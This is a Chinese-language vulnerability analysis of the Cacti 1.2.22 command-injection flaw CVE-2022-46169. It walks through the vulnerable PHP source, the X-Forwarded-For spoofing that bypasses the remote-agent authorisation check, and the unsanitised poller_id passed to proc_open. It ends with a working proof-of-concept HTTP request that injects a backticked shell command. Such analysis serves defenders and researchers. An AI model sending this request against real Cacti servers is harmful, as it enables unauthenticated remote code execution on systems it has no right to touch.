Cacti命令执行漏洞分析(CVE-2022-46169)

Assign: Penguin, 5x

源码分析

1
2
https://github.com/Cacti/cacti
https://github.com/Cacti/cacti/releases/tag/release%2F1.2.22

影响版本

Cacti == 1.2.22

漏洞修复

Commit b43f13a

Untitled

漏洞点定位

lib/functions.php

remote_agent.php

Untitled

分析

本文的分析将从命令执行的点为起点,进行逆向的分析。

命令执行的点

remote_agent.php的poll_for_data()函数

Untitled

  1. 函数开始,首先获取了一些请求变量:$local_data_ids$host_id$poller_id ,其中$poller_id使用的是get_nfilter_request_var() 函数获取参数,即未对输入进行校验。
  2. 如果$local_data_ids 数组不为空,则进入foreach循环遍历$local_data_ids数组。在循环内部,首先调用了input_validate_input_number()函数对$local_data_id进行输入验证。
  3. 然后执行了一个数据库查询,根据$host_id$local_data_idpoller_item表中获取相关记录,并将结果存储在$items变量中。
  4. 根据$items 中从poller_item 获取到的actions值来执行一个switch语句。
  5. case POLLER_ACTION_SCRIPT_PHP 如果action等于常量POLLER_ACTION_SCRIPT_PHP,即action=2,则会执行下面的proc_open 函数,函数的参数将$poller_id 进行了拼接,因此使用管道符|或者``即可进行命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?
AND action = 2',
array($host_id, $local_data_id));

if (cacti_sizeof($items)) {
foreach($items as $item) {
switch ($item['action']) {
case POLLER_ACTION_SNMP: /* snmp */
……
break;
case POLLER_ACTION_SCRIPT: /* script (popen) */
……
break;
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
……
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime '
. $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
}

Untitled

绕过校验

现在向上分析,看看是谁调用的poll_for_data()函数,可以看到调用函数的位置

Untitled

就是很简单的判断get传的action参数值,如果为polldata则调用poll_for_data() 函数

1
2
3
4
5
6
7
8
9
10
switch (get_request_var('action')) {
case 'polldata':
// Only let realtime polling run for a short time
ini_set('max_execution_time', read_config_option('script_timeout'));

debug('Start: Poling Data for Realtime');
poll_for_data();
debug('End: Poling Data for Realtime');

break;

可以看到remote_agent.php开头设置了校验,调用了remote_client_authorized() 函数,我们去看看此函数执行了什么操作

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function remote_client_authorized() {
global $poller_db_cnn_id;

/* don't allow to run from the command line */
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}

if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}

$client_name = gethostbyaddr($client_addr);

if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}

$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}

cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

return false;
}

remote_client_authorized() 函数实现的功能为:

  1. 执行get_client_addr()函数,获取客户端地址并将其赋值给$client_addr变量。
  2. 然后对$client_addr 进行一系列的校验
  3. 调用remote_agent_strip_domain($client_name)函数剥离主机名的域名部分,并将结果赋值给$client_name变量。
  4. 执行数据库查询,从poller表中获取所有记录,并将结果存储在$pollers数组中。
  5. 如果$poller 不为空,则循环遍历$pollers数组,对比远程客户端的主机名和地址与$poller记录中的主机名进行比较,如果剥离域名后的$polle$client_name 相同则返回true表示授权。

在数据库中$poller[‘hostname’]默认为localhost,所以只要传入内网地址即可绕过校验。

那么我们如何传入内网地址呢,函数中使用的是get_client_addr() ,我们再看一下这个函数的功能

lib/functions.php

get_client_addr()

循环遍历$http_addr_headers数组中的每个请求头

在这段代码中,使用break 2语句可以提前跳出两层循环,导致在匹配到X-Forwarded-For请求头时就停止了循环,并将$client_addr设置为该请求头的值。

开发者的本意应该是下面的做法:
1、删除break 2语句,使循环遍历完所有的请求头,并验证每个请求头中的IP地址。
2、在循环结束后,如果没有找到有效的客户端地址,可以使用$_SERVER['REMOTE_ADDR']作为默认值
这样做的目的是确保使用最可靠的REMOTE_ADDR作为客户端地址,避免使用伪造的请求头。

因为开发者错误的写法,攻击者可以发送带有伪造X-Forwarded-For请求头的请求,从而传入内网地址,绕过remote_client_authorized() 函数的限制。

Untitled

总结

至此,整个命令执行的流程已经基本逆向地分析完成,再正向的梳理一遍

  • 漏洞点位于remote_agent.php中,且无需身份验证即可访问此文件。
  • 因此我们访问remote_agent.phpX-Forwarded-For请求头伪造为内网地址
  • get传action参数值,值为polldata,进入poll_for_data() 函数
  • 真实情况下,local_data_id、host_id需要爆破,以令action=2从而进入执行proc_open 函数的case
  • proc_open 函数处将$poller_id 参数进行了拼接,因此使用管道符|或者``即可进行命令执行

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id%3E/tmp/1` HTTP/1.1
Host: xxxx:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=e908ctre124lr4raadulh4sib2; Cacti=8f7517d771b4fd1267e74fbdfef91e9c; CactiDateTime=Wed Jul 12 2023 14:38:05 GMT+0800 (中国标准时间); CactiTimeZone=480
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache

Untitled

Untitled